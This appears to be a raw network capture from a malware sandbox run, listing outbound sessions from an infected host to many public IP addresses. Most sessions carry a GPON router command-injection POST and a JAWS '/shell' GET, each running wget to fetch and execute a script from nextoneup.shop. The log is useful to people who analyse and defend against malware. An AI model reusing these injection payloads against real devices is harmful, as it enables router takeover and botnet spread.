Apr 14, 2024 03:59:55.793781996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.13	40394	210.213.165.145	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:55.793804884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
690	192.168.2.13	42492	5.214.47.138	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:55.793811083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.13	60632	202.240.152.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:55.793828011 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.13	36562	37.106.3.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:55.793843985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.13	37276	148.191.143.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:55.793901920 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.13	44748	5.197.225.45	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:55.793951035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.13	45488	198.211.117.232	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:55.965496063 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:57.259188890 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:57.497131109 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 01:59:57 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.13	40566	23.223.72.7	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.048240900 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:56.376364946 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 01:59:56 GMT Date: Sun, 14 Apr 2024 01:59:56 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 30 66 30 31 32 30 32 26 23 34 36 3b 31 37 31 33 30 35 39 39 39 36 26 23 34 36 3b 31 39 32 63 31 61 33 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 37 30 66 30 31 32 30 32 26 23 34 36 3b 31 37 31 33 30 35 39 39 39 36 26 23 34 36 3b 31 39 32 63 31 61 33 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.70f01202.1713059996.192c1a35<P>https://errors.edgesuite.net/9.70f01202.1713059996.192c1a35</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.13	47030	23.212.202.146	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.058604956 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.13	48870	18.216.104.237	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.606427908 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.13	44004	103.19.242.39	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.684803009 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:56.989948988 CEST	420	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 01:59:56 GMT Server: Apache Content-Length: 207 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 73 68 65 6c 6c 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /shellon this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.13	43926	212.130.83.112	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:58.806505919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.13	49716	178.172.34.90	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:58.806575060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
702	192.168.2.13	33608	178.156.103.19	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:58.806591034 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
703	192.168.2.13	44046	117.3.45.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:58.806628942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
704	192.168.2.13	44908	18.154.216.239	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:59.462809086 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:59.682296991 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 01:59:59 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
705	192.168.2.13	39124	212.255.162.110	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.813956976 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
706	192.168.2.13	60036	42.35.222.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.813992977 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
707	192.168.2.13	34168	5.51.39.126	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814003944 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
708	192.168.2.13	43122	123.108.6.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814013004 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
709	192.168.2.13	46542	42.240.214.139	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814033985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
710	192.168.2.13	52640	148.133.194.72	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814050913 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
711	192.168.2.13	48770	123.188.39.233	443

Timestamp	Bytes transferred	Direction	Data
